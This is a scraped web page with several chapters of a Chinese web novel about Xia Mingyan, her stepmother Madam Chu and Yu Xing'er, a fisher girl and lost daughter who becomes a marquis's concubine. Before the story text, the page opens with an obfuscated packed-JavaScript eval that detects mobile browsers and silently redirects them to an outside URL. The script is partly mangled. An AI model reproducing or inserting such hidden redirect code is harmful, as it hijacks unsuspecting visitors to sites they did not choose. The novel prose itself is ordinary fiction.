;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16145816|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要是她让我去认你们,让我去做什么尚书府的二姑娘,我还不愿意呢。我出生时是夏府的二姑娘,那又能怎样?大家闺秀的礼仪教养、才学本事,我一样没有,我认了你们,就是给自己找罪受。” “我这辈子只会打渔、驾船、做鱼饭和干活儿,您方才说的那些,话里话外的,不就在说我会给您和夏家丢人吗?放心,我有自知之明,我也不想让自己不好过,被人指着鼻子骂我不配跟你们这些贵人在一起。” 其实当夏明嫣派去的人找到于杏儿的时候,于杏儿大概就想到了这背后的原因恐怕是她的身世了。 因为于杏儿小时候就知道自己不是于家亲生的了,她人生的一切虽说她自己很喜欢、很能知足常乐,可是跟传闻中元京那些贵人们的生活相比,根本就不值一提,人家为什么要千里迢迢地把她一个渔家女买回去当妾? 要不然就是她实际上是个大富大贵的命格,跟这家人配上了,再要么只能是她的身世有问题,这家人要跟她相认或是利用她。 如果她依旧留在那个码头,她救不了她的兄长,可是能够让自己安稳却乏善可陈地过完下半辈子,可是这样的每一天,她都会因为没能救下兄长而愧疚。 而那种一成不变的日子,也会渐渐地让她感到无趣,这样的日子也未必就能一直太平下去,不然他兄长是怎么因为一点小事被抓紧大牢的? 于是,她做出了选择,她要救她的兄长,偿还养父母对她的养育之恩,偿还三位兄长自小对她的照拂。 她也想去元京看看,看看她原本该过怎样的日子,看看那儿的人都是怎样过日子的,哪怕前面有刀山火海,有令人心碎的真相,她都认了,她就是想要一段不同的人生。 那时的她早就想过一种真相,她不是被人拐走、偷走的,她就是被她的亲生父母刻意丢弃的,或许她的亲生父母和亲生的兄弟姐妹此刻正过着荣华富贵、高不可攀的生活,只是因为嫌弃她,才丢弃了她。 第448章不接受补偿 那些在渔船上讨生活的日子,让于杏儿觉得能不缺衣食、安安稳稳地活着就是享福了,她想要探寻一下她这辈子人生的顶点,也只是想要体验一下、多看看罢了。 她知道错过了的就是错过了,不是每件事都能补救的,她这辈子就只是于家女,她根本就没想过会跟那些从未谋面的亲人相认。 只是她还是没能完全想到,原来已经有另一个女子替代了她原本的位子,而且她的亲生母亲在见到她之后,居然还为了那个假女儿而只想那笔银子打发了她。 于杏儿这时候总算动了几分怒,但不是因为楚氏不肯当众认她,她只是感觉到自己被狠狠地羞辱了: “没错,我就是穷窝里长大的,我上不了台面,跟你们这些人都不一样。你不用认我,我也不想认你们。听听你们之间的这些事儿,这么复杂,我可不想哪天怎么死的都不知道。” 楚氏并没有因为这番话而有所开解,她反而更生气了,她遗失在外多年的女儿,头一次见她,为何没有丝毫急切与她相认的意思。 一个渔家女,那于家与夏家、楚家哪里有半点可比的地方,于杏儿若是认了她,她可以给她很多的钱财,于杏儿的日子至少不会过得比夏明嫣差,她怎么就不动心呢? 楚氏忽然生出一种自己一直悉心守护的东西却不被一个身份卑微的人尊重的恼怒之意,即便是她的亲生女儿也不应该触犯她的地位和尊严。 楚氏抬掌就要打下去,不想却被于杏儿抓握住了手腕,她顿时气得牙关发紧: “你就这么不想认我这个母亲么?如果没有当年的安排,楚家早就倒了,夏家也好不到哪儿去,即便没有把你送走,你也不会有好日子过,绝对拿不到我今日所能给你的钱财。” “我虽然没有养你,初衷到底是迫不得已,可我生了你,给了你这条命,你怎能如此不知感恩?你不念这生身之恩,又何苦要怨恨我不能在外人面前不能认你?” 夏明嫣在旁边听得都想打断他们了,于杏儿说的话没问题,楚氏却又陷进了一个漩涡里。 楚家的大多数人或许都是这般矛盾的,一面想要控制别人,另一方面还要在别人已经察觉到的情况下,要这个人一边明知自己在被利用、欺压,一边还得感恩他们的小恩小惠。 夏明嫣忍不住要为于杏儿说几句公道话:“夫人,您给她钱财有什么用?她做了一方女陶朱,难道让别人打探她的出身和经历的时候,她只能三缄其口、顾左右而言他?” “这样的日子,再富贵,也不过是一只穿着锦衣却要夜行的大灰耗子罢了,反倒不如她原先的日子逍遥。您要是真有这份诚意和愧疚之心,就该站在她的位子上想想。至少也该把二妹妹请来,当面锣对面鼓地将事情说清楚。” 这些话听在楚氏耳朵里无异于在拱火,她怒声道:“你就是这样把她骗到元京来的?你就要看到我们母女三人不和,挑唆我们和端侯府还有楚家的关系,你用心险恶。”“你把她弄到元京来,就是拆我和明月的台的,你休想!就算闹到陛下面前,我们也自有办法解释,你什么也阻止不了,你还是多担心一下陛下会怎么想你跟华侯吧。” 他们筹谋的事尚在将来,而宫里对华靖离的忌惮近在眼前,真把事情闹出来,夏明嫣和华靖离是如何发现事情的真相才更耐人深思。 华靖离之前一直远在北疆,他若非一直盯着楚、夏两家的事,哪里能知道这些事。在边将领,却时刻关注着元京几大高门的动向,这可不是什么好名声。 而楚、夏两家大不了就将事情推到底下的人身上,说自己也是近两年才知晓亲女被换一事的,实属被人蒙蔽。 要是李玦因此有机会跟夏明月和离,实在不行,还可以寻一个亲族女子顶上,笼络住李玦。毕竟李玦现在还需要助力,端侯府上下也需要一位有能力的主母打理。 楚氏的如意算盘打得叮当响,说到底夏明月嫁的是李玦,而不是皇室中人,还说不上什么混淆血脉。虽然这当中会很艰难,却不是办不下来的。 于杏儿打断了她:“够了,没有人逼我。楚夫人,您在心疼您的另一个女儿和那些我弄不清楚的事儿的时候,有没有想过,您的那些银子可买得了我前头的半辈子。” “您心疼您的养女有没有受伤害,可知道她在为了一件衣裳伤心难过的时候,我可能正在跟于家人一起在渔船上跟海上的风雨拼命?” “她在为了她跟她丈夫之间的那点儿事儿闹得满城风雨的时候,我的户籍都可能随时被拆穿。您一定还不知道,我这户籍是我阿爹、阿娘求了邻居婶婶,许了当年的半世积蓄还磕了头才换来的?” “您为了一件衣裳不够好、一支曲子不好听而对那些下人又打又杀的时候,我却在如何卑微的活着。您如果知道我曾经经历了什么,就不会说出那些要用银子来补偿我的话。” 渔户靠天吃饭,随时性命不保,在官府那里远不如寻常农户,她的户籍本就随时都可能被拆穿。 当年于家夫妇救下她并决定收养她时,刚巧隔壁邻居家新生的婴孩夭折了,并且那一家虽是渔户却是一个打算上岸种田的渔户,他们便求了那家人,把她充作了那家的女儿。 之后再假托那家人远行在即,无力带还在襁褓中的女儿同行,再加上那家人前头已经有了五个女儿,故因此将这个女儿送给他们于家做了养女。 若是没有于家夫妇下跪恳求昔年邻居,又刚好老天爷有这番安排,她恐怕连这渔家女的日子都过不了。 那些个别人家捡到但因为无法证明良贱而不得入籍的孩子,最终要么会被人伢子带走,最终沦为苦役或是那种地方的人,要么恐怕在这过程中已然耽误,被活活饿死的都有。 于杏儿叉着腰对着楚氏就道:“华侯夫人的人带我来元京的时候,就跟那些个高门管事到我们那种穷地方采办侍女没什么两样,那就是我应该过的日子,跟您这样高高在上的夫人没有关系。” 第450章人都落在你手里了 于杏儿紧接着便用气死人不偿命的语气道:“您要补偿我银钱,就不必了。您天天活在这福窝里,一定不知道外面的人是如何过日子的。” “一个地方有钱有势的就那么几户,突然多出来一户,谁不打听?我没有人护着,会被洗劫一空,命都未必能保得住。要是你派了人去保护我,谁不会怀疑我的来历。” “万一被哪个大人物怀疑了,到时候你们会不会为了遮掩此事反过来杀我灭口。你别说什么我是你的女儿,你不会这么做,由得了你么?我这个渔家女从小到大可没少见识那些给大户人家跑船的,出了事,连个全尸都没有。” 大恒海域辽阔,海岸线长,想要靠人力完全盯住是不可能的,因此那些个高门大户或是地方豪绅巨贾很多都有雇佣这些商船、渔船私下从事海贸的事。 这种事,只要能逃脱朝廷的眼睛,就能万事大吉,可要是被抓住了,那便是流放千里甚至抄家砍头的大罪。为了湮没罪证,这些船家很多都不得善终。 渔户的日子本就清苦,有些熬不住的就做了这等铤而走险的事。 不过,过了一开始的那段日子,好多人心里都清楚了此道艰难,很多人都会把自家的儿孙养在偏远乡间,时不时地给那些养父母一些银钱,以便将来东窗事发,好保全自家的血脉。 于杏儿小时候半夜里偷着去岸边逮螃蟹,就撞见过被灭口的人的尸首随着海水漂到岸边。她比谁都清楚,这些个不得正名的人就连死都得偷偷摸摸的。 她虽然没读过什么书,可她在民间这种恶劣环境中经历过的一切,何尝不是她最好的老师。 楚、夏两家要么不认她,楚氏就当没见过她,与她彻底斩断联系,要么就得光明正大地认下她。 若是私下认下了却不对外公开,她将来很可能会被他们利用做危险的事,就算没有,就只是让她做个富贾过自己的日子,等到哪一天她的身世有了被人揭穿的可能,他们为了湮灭证据,哪儿还能容得下她活在这世上。 怕是一场大火,就要连她和那宅子一起付之一炬,到时候连具全尸都没有。 于杏儿一针见血地道:“您说您是迫不得已,当年将我送走是迫不得已,将来呢,要是做主送走我的人要杀我,您能拦得住吗?不过流几滴眼泪,哭上几回,再说自己是不得已的罢了。” “您不用给我银子花,还有什么富贵,我也不会要,华侯夫人,哦,不,我该叫她一声阿姐,她已经给我了。对了,忘了告诉你了,我现在是华家的妾室,对,就是钩翊侯的妾室,我现在好的很!” “你……你做了妾了?你怎么能做妾?夏明嫣,你明明知道她是谁,你竟然还敢做这样的事?”楚氏瞪着双眼怒斥道。 没等夏明嫣接话,于杏儿就插着腰往前一站:“她哪里做错了?做妾怎么了?再是妾,也是钩翊侯的妾室,也能光明正大地站在日头底下,看尽这元京的繁华。” “我一个乡野出身的渔家女能有此造化,已经要谢天谢地了,可不敢再要你们给我安排以后的生活!” “你你你……”楚氏气得脸上青一阵白一阵的。可是楚氏不得不承认,于杏儿这些话虽然混账,夏明嫣虽然不怀好意,可这妾室的身份的确能让于杏儿光明正大地在元京过活,还能过上荣华富贵的生活。 只是那可是钩翊侯府,是在华靖离和夏明嫣的眼皮子底下,这二人大概不会直接伤害于杏儿,可他们会利用于杏儿啊。 “不行,你跟我走,你必须跟我回去。你跟了她夏明嫣,就是与你的父母和外祖父为敌,你这是不孝,跟我走!” 楚氏抬手就去拉扯于杏儿,奈何于杏儿过去是打渔的,别的没有,有的是力气,她就像座小铁塔一样立地不动。 夏明嫣上前去拉开了楚氏,甚至替她整理了一下因为用力而散落了的发髻和簪环: “夫人不必动怒,于姑娘说的何尝没有道理,不管我居心如何,她到底与我有着一半相同的血脉,她也跟我一样,一样是被……遗弃或坑害了十余年,我不会对她不利。” “甚至我可以让她过得更好,只不过她过得好,未必对你们好。夫人莫急,于姑娘初来元京,凡事做不得主,您还是跟我谈吧。” 夏明嫣招呼了在一旁听得目瞪口呆的画扇过来,让她先带于杏儿到旁边的雅房等候。 于杏儿下去之后,楚氏冷静了一些,却依旧双目发红、声嘶力竭:“夏明嫣,你安得什么心,她也算是你的妹妹啊,你有什么事儿冲我来,你为什么要让她做妾?” “夫人,都到了这一步了,您还想拿捏我?”夏明嫣坐下来,终于喝了口自己做好的茶,手掌向上做了个“请”的手势, “茶都做好了,要是不吃上一口,岂不是白费了自己的手艺和一番心血?就像夫人对二妹妹一样,现在想想,十五年的心血,竟然栽培出了一个废物。” “想来那位陆叔父和夫人一样,都是有谋略而老成持重之人,兴许二妹妹恰好像了那妾室,真是龙生龙、凤生凤,老鼠的孩子会打洞啊。” “我瞧着这于姑娘,也就是三妹妹,她的天资倒是不错。当了十五年的渔家女,反倒是磨砺了心智,看法上也通透、务实,着实不错。” 夏明嫣无意贬损那位未谋面的陆家妾室,她就是想用什么是无心插柳柳成荫来刺激楚氏。 于杏儿的确没读过书,更没什么女师教导,可恰恰是那恶劣的生存环境将她塑造成了如今这副样子,而且难能可贵的是,她竟然保持了相对纯真的天性。 像于杏儿这样的人,即便将来被这元京的阴谋诡计沾染,也不会像楚氏和夏明月那样有那么多弯弯绕绕的心思,为了点情情爱爱就把自己弄得这么不堪。 楚氏颤抖着手端起茶盏,勉强喝了一口,明明茶粉和水都没有问题,她刚刚已经查验过了,她现在喝着这茶却是苦的: “人都落在你手里了,你打算如何?说到龙生龙,凤生凤,看来先夫人能生出你这样的,也不是一般人物啊。” 第451章与她何干? 人人都说杨氏出身蛊医,又赶上了蛊医处在低谷之时,性子低调、木讷,无甚作为,但也并未做下什么不好的事。 楚氏这么说,就是暗指杨氏跟夏明嫣一样,表面无害,实则内心藏奸,杨氏也跟她是一样的人。 “这就要问有些人是不是长了一双慧眼了,表面木讷、老实巴交也可能是内里大智若愚呢?况且一介蛊医当年就能看上出身寒门、尚无功名的夏大人为婿,怎么都算是有眼光的了吧。” 夏明嫣不以为意地笑了一下,杨家人相对于这些朝堂中人的确算是没心机的,可要说完全没有心机,那决不可能。 不说别的,就说那些年在那四位女师和老宅中人上上下下地盯梢和监管下,她的舅父依然能够周旋当中,保证每月至少与她见上一回,还将医术传给了她,就不是一个完全简单的人。 更别说杨家是蛊医翘楚,医术自然是蛊医里一等一的,可要是完全不会做人、不通人情世故,那么没等自己的医术发挥出来、被人认可,恐怕就已经性命不保了, “说到底,楚家当年也跟杨家做了一样的事,只是杨家算得不够准,没想到父亲飞黄腾达得这么快,所以杨家输了,而楚家赢了。” “不过,从前我还小,便以为那就是赢了,可现在看来却不一定,这赢了,兴许还不如输了呢。” 杨氏是郁结成疾,加之先天不足而病没的,那会儿楚家还没看上夏庸呢,这事儿要怪还是得怪夏庸,跟楚氏没关系。 杨氏没了,虽然夏明嫣和杨家人都不好受,可毕竟杨家人都还好好的,杨家被逐出元京之后,杨老太爷也是寿终而亡的,杨敏仁现在身陷南疆,却也暂时性命无忧。 而楚家,现在虽然看着花团锦簇、蒸蒸日上,前面的顺利反而让他们在泥淖中陷得更深,待到将来天塌地陷之后,楚家人可还有葬身之地? 楚氏不以为意,她总算基本恢复了之前那派端方模样:“你又焉知他日不是我等身居高位、俯瞰众生?说吧,你到底想要怎样?你有什么要求,大可以说出来,只要你把她交给我。” “你把她留在手上,也不过是想揭发当年换女之事,可这件事我们能推脱干净。你留着她,最多只能拿来激怒我,可这次之后,你觉得你还能轻易激怒我么?况且,她毕竟是你的妹妹。” “若是他日她的身份被人揭露出来,少不得有人会说你这个华侯夫人为姐不贤,非但没有照料自小流离失所的妹妹,反倒让她做妾,给自己的夫君丰盈子嗣,你的名声也不会好了。” 夏明嫣讪笑一下:“夫人,您跟父亲真是太爱用这一套了。一会儿用孝道压我,一会儿又拿姐妹兄弟之间的孝悌之义来让我为你们做事,一点意思都没有。” “也没用啊,我已经不是那个什么都不懂、渴望着您来拉我一把才能回到元京的小姑娘了。要说人要遵从孝道和孝悌之义,那出嫁从夫也是应该的,我到底该听谁的呢?要不让您几位先辩一辩?” “这些个看不见、摸不着的东西,我在乎,它就是千钧重担,我不在乎,与我何干?”孝道、孝悌是什么,或者说什么是道?说白了,道是一种自我约束的手段,看不见,摸不着,没有外力的强制。 不会有人抓着你的手脚,逼着你去做什么,道法自然,随心而行。若是有人逼迫你做什么,也是你自己被说服了,自己先妥协了之后才操控着自己的手脚做下那些事儿的。 从前夏明嫣没想通,又不得不受制于人,不甘埋没于卢阳老宅那方寸之地,才会听命于他们。现在她想明白了,还嫁给了华靖离,他们又能拿她如何? 楚氏被顶了个正着,话到嘴边不得不憋了回去,她只能不甘地道:“你当年的乖巧都是装出来的?” 夏明嫣乐呵呵地看着她:“人在屋檐下不得不低头,不过这只是一部分原因,您把二妹妹当作亲生女儿看待,也不全是因为她是陆家女吧?” “诶,那时候于姑娘不见踪影,我相信夫人也是真心心痛过的,二妹妹存在的价值应该还有一个,就是填补您心中属于亲生女儿的空缺。您那时应该也骗过自己,把二妹妹当作于姑娘吧?” 看着楚氏的表情,夏明嫣就知道自己说对了,“一开始您也知道这是在骗自己,可骗着骗着就成了真的,有时候您细细地分辨,竟然连您自己也分辨不出真假了,可对?” 夏明嫣如今尚不及十七,能抛开亲情和自己的情绪把事情想得这般通透,又是在无人指点的情况下,实属难得。 楚氏很是惊讶,若是没有一定的年纪和阅历,是很难这般拨云见日的。这般清醒,她竟不觉得夏明嫣是一个十七岁的年轻女子,反倒觉得夏明嫣眼中的沧桑竟与她相差不多。 夏明嫣越是这样,楚氏越觉得可怕:“把她还给我,真的不能商量么?” “商量?商量不了了,您刚才也看到了,于姑娘大概是您亲生的两个子女里最有天分的,就算我什么都不教她,就是这元京的水土、风气也可以让她迅速成长,我做不了她的主。” 夏明嫣把自己的茶盏推到一边,“您问我留她做什么,其实具体的事儿,她什么都不用做,有这个把柄在手,能让您和楚相忌惮就可以了。” “诶,您别哄我,别说我留她没有用,你们能把当年的事儿栽赃到下人身上。我揭发不了你们丢弃亲女的恶行,还不能拿这件事破坏你们跟陆家的联盟么?” “还有圣上的疑心,您和楚相总说我家夫君少有不慎就会招来圣上的忌惮,要是把这些事儿编排一下捅到圣上那儿,圣上也会忌惮楚相和父亲吧?您信不信,到时候圣上能让楚相提前致仕,也能让父亲换一个位置,就好比说让他去北疆带兵。” 楚霆孝本来还有三年才致仕,再想法子拖一拖,能拖个五年,再加上从前的余荫和他的两个儿子,他的影响至少还能延续个十年八年的。 楚、陆、李、夏这四家本就是逆天行事,每一步都必须精细算计,错一步都不行,这十年就是他们必不可少的周旋时间。 第452章手起刀落的狠人 关键还有夏庸,夏庸能做上这个位子是因为他能平衡各种势力和关系,而且还要依靠楚家的这层关系才能办到,他自己一没战功,二没有太多能够让他屹立不倒的实绩。 只要圣上发了话,换个人上来,最多只是开始的几年混乱些,后面只要形成了新的势力格局,就不会再有问题。 这些人用圣上和太子的猜忌辖制华靖离,而他们也一样可以从夏明月、于杏儿的身世打开缺口,让圣上猜忌这些人。 要是这些人心里没鬼,何必把两个孩子的身世弄得这般复杂,想不引起猜忌都难。 见楚氏面色越来越差,夏明嫣淡淡地笑了笑:“身在这朝堂之上,想让我们都彼此保证不做什么是不可能的,我只能说,你们若是不再往我家侯爷和我身上泼脏水,我可以保证不在圣上和太子殿下面前挑明此事。” “况且你们泼脏水的本事也太差了些,几次的结果都是你们出丑,尤其是世子妹夫,都把自己气中毒了,都没能把我们怎么样,就别做那无用功了。” “还有,别以为我们不清楚他原本在打算什么,这种毒蛇,说不定哪天就把我家侯爷咬了。出征在外,在那荒芜之地发生了什么,谁又能知道?” “只要安排妥当,把人证串通好,物证罗织一下,再加上圣上的猜忌之心酿造出的故作不知,恐怕天大的功劳都能易主……您说,对吗?” 夏家为何一定要把其中一个女儿嫁给华靖离,就是为了在李玦抢夺军功、取而代之后,需要一个人善后。 只要华侯夫人是夏家的女儿,那么钩翊侯府和端侯府就是姻亲,李玦跟华靖离是义兄弟,人人都知道他们之间兄弟之义甚深,二人的正室妻子还是姐妹。 这种时候,要是华靖离的夫人都说他的死没有问题,再说他生前留下了遗言,要华家军余部关照李玦,甚至把什么东西或是某种布置都留给李玦,还有多少人会质疑? 上一世就是夏明月做了这些善后之事,也正因为这样,她才从华家家庙走了出来,跟李玦的接触也变多了,又重新走到了一起。 楚氏虽然不大参与这几家密谋的大事,但显然对这件事也有所耳闻,她看着夏明嫣如此镇定地说出这番话,之后嘴角还洋溢出耐人寻味的笑,她整个人都愣住了。 这世上许多的招数都胜在出其不意、先发制人,被人提前知晓了,有了防备,就没用了,之后都得重新筹谋。 楚氏冷笑一下:“果然造化弄人,没想到夏家的女儿最是无心教养的两个反而最成气候。也罢,不过是少了一颗棋子而已,布这么大的局,自然已经做好了随时弃子、换子的准备。” “没了华靖离和你,或许这一局还会更顺利。不过,我很想知道,若是我们井水不犯河水,你们可还会管这摊子闲事?” 不就是想要一个承诺么?夏明嫣没理会楚氏的贪得无厌:“人无伤虎意,虎有害人心,若是我们承诺不动手了,怕就成了打不还手、骂不还口了。” “我还是那句话,我不会替我家侯爷承诺什么,但是只要你们不总是来惹我们,在这些内宅小事上,我自然愿意少些招惹你们。大家都能落个清静,何乐而不为呢?” 她顿了顿,加重了语气,“夫人,我不足三岁就没了亲生母亲,其实若是没有画像,我都不记得母亲长什么样了。您就算只找两个嬷嬷养着我,逢年过节让我去请安定省,只要您不做那些事,您恐怕都已经是我的母亲了。” “我这个人是很容易知足的,要是您能做一位这样的继母,待我出嫁之后,您让我帮二妹妹和家里一把,我是不会拒绝的,可您为何偏偏要如此呢?” 不说那些不现实的话,在没了亲生母亲而夏庸又攀上了楚家的高枝开始,夏明嫣就清楚自己再也过不上从前的生活了。 她行同孤女,自然要过寄人篱下的苍凉日子,她跟夏明月不一样,尽管那时她还不足三岁,她也不会去奢望楚氏能对她有多好。 只要楚氏做一个中规中矩的继母,衣食上不算苛待,对她不闻不问一些,只在必要的场面上想起她,她们都可以做一对这元京内宅中最寻常不过的面子母女,都会比现在相处得更和乐。 楚氏这会儿也有些想明白了,开始反思之前是不是自己的小动作太多了,对付不同的人应该用不同的方法,对夏明嫣这样的人,就不该总想着去拿捏她。 要让她觉得自己是真心对她好的,反而更有用,更能换得她的回报。哪怕那种回报不是发自内心的,只是有来有往的利益交换都好。 楚氏略微感慨了一下:“或许是我错了,这一局是你赢了。不过我也要对你说声谢谢,刚才她有句话说得很对,比起她从前生活的地方随时可能让她性命不保,现在的侯府妾室至少能让她平平安安而光明正大地活着。” “不过,我还是要提醒你,她毕竟是你的妹妹,你们都姓夏。若是让我知道,你利用自己正室的身份欺压她,或是陷害她,我绝不会善罢甘休。” “呦,这时候知道来认女儿了,您早干什么去了?就算我让她过得再不好,也比她从前当渔家女的时候强。” 夏明嫣没打算用那些下作的手段去对付一个过去比她还凄惨的小丫头,何况以后兴许都不需要她动手了, “于姑娘承袭了夫人您的容貌和聪慧,或许还有您早些年拥有的坚韧和正值,可是元京就是一个大染缸,她以后会不会变成现在的您或者二妹妹,这可说不好。” “要是她忽然哪一天开始像你们了,您说,她是会更恨让她做了妾室的我,还是更恨您和二妹妹?” “我猜是后者,她应该恨你们才对。她会用什么样的手段对付你们呢?她从前在海上,应该不止是用渔网捞鱼吧,一定用过鱼叉。她还会做鱼饭,在码头上开了个食摊,手起刀落,一下子,鱼头就跟鱼身子分了家了。” “她这样生猛、能亲自动手的,别说夏家、楚家,就是这满府的下人里恐怕也没有多少吧?” 第453章斩草除根,未尝不对 高门人家布局在暗中的人自然有那等狠辣的角色,可是这样的女子却不多,就算有,平时也不近主子们的身。 于杏儿却不一样,她是华靖离的“妾室”,是楚氏和夏庸的亲生女儿,只要她还在元京,早晚有一天会跟楚、夏两家的人见面,她要是发了狠了,定然有机会下手。 夏明嫣起身往门口走去,幽幽地说了一句:“当年楚相想要斩草除根,虽说狠心了些,可平心而论,站在他和家族的角度来说,还是有道理的。” “对了,有件事还需要夫人高抬贵手,把霞姑姑和她现在的丈夫都放了吧。霞姑姑好歹服侍您一场,还是画扇的娘,您要是为难她的娘,您还把她送给我家侯爷做妾……您说,她会不会为难于姑娘呢?” 楚霆孝的想法残忍,可当年安排了人处置了于杏儿,却并非全然出于对事情败露的担心。 还有就是这么一个孩子放在外面长大,也不知道会被养成什么样子,他日一旦知道真相,起了怨恨之心,会做出什么可就不好说了…… 夏明嫣才不管于杏儿将来会不会这样做,现在拿这个来吓唬吓唬楚氏还挺管用的,至少能让楚氏有一段日子没工夫来找他们的麻烦。 夏明嫣今日带着于杏儿和画扇来走一遭,一是向楚氏示威,让她清楚他们握着她的把柄呢。 楚氏虽然精明、稳重,可她骨子有两点十分容易生乱,先是她重情,这情首要的就是对陆远山的情,但要论到亲情上也不弱。 楚氏一直忽视儿子夏登云,何尝不是因为夏登云与于杏儿是龙凤双胎的兄妹,她看到夏登云,就不得不想起不知在哪儿也不知是否还活着的于杏儿呢? 现在于杏儿已经回到了元京,又是华家的通房,但凡楚氏想,大可以通过夏明嫣把人叫到夏家去见一面。楚氏即便能克制住,不会这么做,可是耐不住她心里会这样想。 日子久了,在这种矛盾情绪的拉扯下,楚氏的情绪只会变得不稳定,而且她也会逐渐看清夏明月,纠结在对亲生女儿的期盼和对夏明月的失望之间,对夏明月也会渐渐地不复从前。 夏明月那个狗脾气,但凡楚氏对她有一点不好,她就能把往日的好全都抛诸脑后,到时候还得跟楚氏和夏庸闹起来。总之他们这边越乱,她跟华靖离这边就越轻松。 楚氏还有一个弱点就是她这个人好胜心强,喜欢比较,今天夏明嫣的话已经在她心里埋下了种子。 她回去之后就会开始反思她怎么就把夏明月养成这样了,如果一直待在她身边的女儿是于杏儿,会不会要比现在好许多,然后这中间一旦夏明月又惹是生非了,她的这种反思就会加重。 如此循环往复,这几个人的关系只会越来越差,再加上一个徘徊在瘫与不瘫之间的李玦,他们自己就够闹一场了。 至于霞姑姑,本来就是拿来要挟画扇听命于她的。现在她把画扇送来做妾,别说于杏儿现在就是一个管事儿,连通房都不是,就算于杏儿也是妾室,内宅之中,她哪里斗得过在卢阳老宅长大的画扇? 要是楚氏扣着霞姑姑夫妇不放人,画扇大可以给于杏儿使绊子,楚氏哪里能冒这样的险。 再就是画扇的身份现在还不能露,但她得先让画扇知道于杏儿的身份,从某种程度上说于杏儿和画扇也是可以成为同盟的。画扇跟夏明月同为陆远山的女儿,日子却过得一个天一个地,她早已新生怨恨。 而于杏儿自小被抛弃,差点连命都没了,还过着那般朝不保夕的日子,鸠占鹊巢的夏明月却是尚书千金、元京贵女,还嫁了侯门,拥有楚、夏两家的疼爱。 这样的情况,她们两个怎么不恨,怎能不联手? 要说于杏儿现在没有冲过去算账的打算,那是因为她还不知道全部内情,而且楚氏那边对着夏明月不可能一点不露,夏明月早晚会知道真相,等到那时,夏明月一定会主动来找于杏儿的麻烦,甚至处之而后快。 于杏儿不是个软柿子,况且占理的人是她,她怎能不反击? 这便是借力打力之计,他们现在打的就是时间战,谁能腾出更多的时间忙正事,谁就能赢。她这边争取的时间越多,华靖离那边就越好将南疆的事捋顺了。 叫上画扇和于杏儿,一行人没再停留,直接回了钩翊侯府。 马车上三个人都很沉默,画扇一会儿看看夏明嫣,一会儿看看没戴帷帽的于杏儿,脸上泛起复杂而尴尬的笑。 快到地方的时候,夏明嫣才看向画扇,画扇讪讪地笑了笑,客气地道:“夫人,奴婢就是觉得,于姑娘这张脸……以后在外面还是戴上帷帽或者面纱比较好,太扎眼了。” 夏明嫣看了她一眼,转过头去:“霞姑姑和张叔最晚明日就能放回来,这事儿已经快要变成明棋了,煤场是不能待了,往那边儿去吧,地方我来安排。” 通往南疆路上的那些寨子缺人,张叔能教那里的人采石、采煤,霞姑姑的针线活好,也识字,能教那里的姑娘们,让她帮着启蒙都成。 这两个人虽然各有缺点,也算不得绝对的善类,但那些寨子环境恶劣,人也多是未开化的,他们身上那股狠劲儿到了那儿反而更合适。 再说了,到了那儿有比他们更恶、更不讲理的,他们就成了善的了……这一点他们反而不如于杏儿这样的,能遇恶则恶。 画扇满口称是:“但凭夫人安排,把奴婢的娘安排得远些也好,她年纪大了,跟从前有些不一样。自从知道了那件事之后,她听到楚夫人的事儿就有些激动。” “奴婢怕她再跟楚夫人待的久了,会表现出什么来,坏了夫人的大事,她自己也……” “我也是担心这个,她回来之后别耽搁,收拾收拾就走吧,那边有人安置他们。” 夏明嫣认可地点了下头,不知道那一晚的真相之前,霞姑姑只是服侍楚氏的人,对陆远山是主子身边的侍女仰慕主子的情郎,那种心态是见不得光的,也是毫无指望,不可能成真的。 楚氏也一定知道身边服侍的人有仰慕陆远山的,毕竟以陆远山当年的风姿,把五个李玦绑在一块儿都比不上,这样一个人,还人品端方、家世高贵,谁喜欢都是正常的。 第454章远离一些也好 楚氏能感觉到身边的这些人对陆远山有好感,甚至私底下为了他有争风吃醋的举动,这些她并不介意,甚至她还能感到一些得意。 因为陆远山不仅与她情意相投,还是她名正言顺的未婚夫,将来能跟他生儿育女、白头偕老的只有她,而其他的这些人都是些看得见、摸不着的,她们跟他不会有结果。 即便有结果,也得是在她跟陆远山成亲之后,她开恩收了房,这些人也不过是可以买卖的贱妾,就算她们生下了子女,那也是上不得台面的庶子、庶女,跟她的子女没法比。 可现在的现实却是,楚氏跟陆远山没有结果,霞姑姑即便没有名分,甚至那一夜只是酒醉后的阴差阳错,陆远山根本就不记得有她这个人,可他们之间就是有了结果,也就是画扇。 也是天意不凑巧,陆远山在彭州的严寒中重病康复之后,竟然不能再有子嗣。 要说他要是还有别的子嗣的话,当然不会把画扇看在眼里,可偏偏他就只有夏明月和画扇这么两个女儿,而夏明月却被养成了这副样子。 要说诸如规矩礼仪、琴棋书画这些,还有容貌,画扇的确都比不上夏明月,可做女儿家时,这些才学上的东西重要,可一旦嫁了人,还是交际场上的左右周旋的本事和管家理事的能耐更重要。 而容貌么,这又不是让她们去做妖妃、妖妇的,中上容色加以妆容和衣着的修饰就可以了。 就算要让她们吸引各自的夫君,看的也不止是是容貌,性情上至少要做到通达事理还能体贴夫君和长辈吧。就算这人长得美艳绝伦,可是像夏明月这样四六不着还能把自己的夫君气中毒了。这样的美人,谁能消受得起? 反倒是画扇,容貌好不惊艳,可是绝对不丑,完全算得上是一个小家碧玉的小美人儿。 论性情,她没什么特别的,还有点小性儿,可是做过多年奴婢的人,她懂得低头、顺从和如何装作小鸟依人,也知道自己没资格争风吃醋,从贤良淑德的角度来看,她没什么问题。 还有管家理账的能力,画扇从前就是夏明嫣的左右手,许多东西都是在夏明嫣身边跟女师学的,就算她没有夏明月学的好,可是夏明月的心完全就不在这上面,反而自以为很懂,把端侯府上下折腾得乌烟瘴气,而画扇至少能够笨鸟先飞、勤能补拙,定会比夏明月做得好。 要说选女儿,陆远山一开始一定会选夏明月,但日子久了,画扇这样的对他来说至少有用,还不会惹是生非。 楚氏要是知道了画扇其实是陆远山的女儿,她会怎么想? 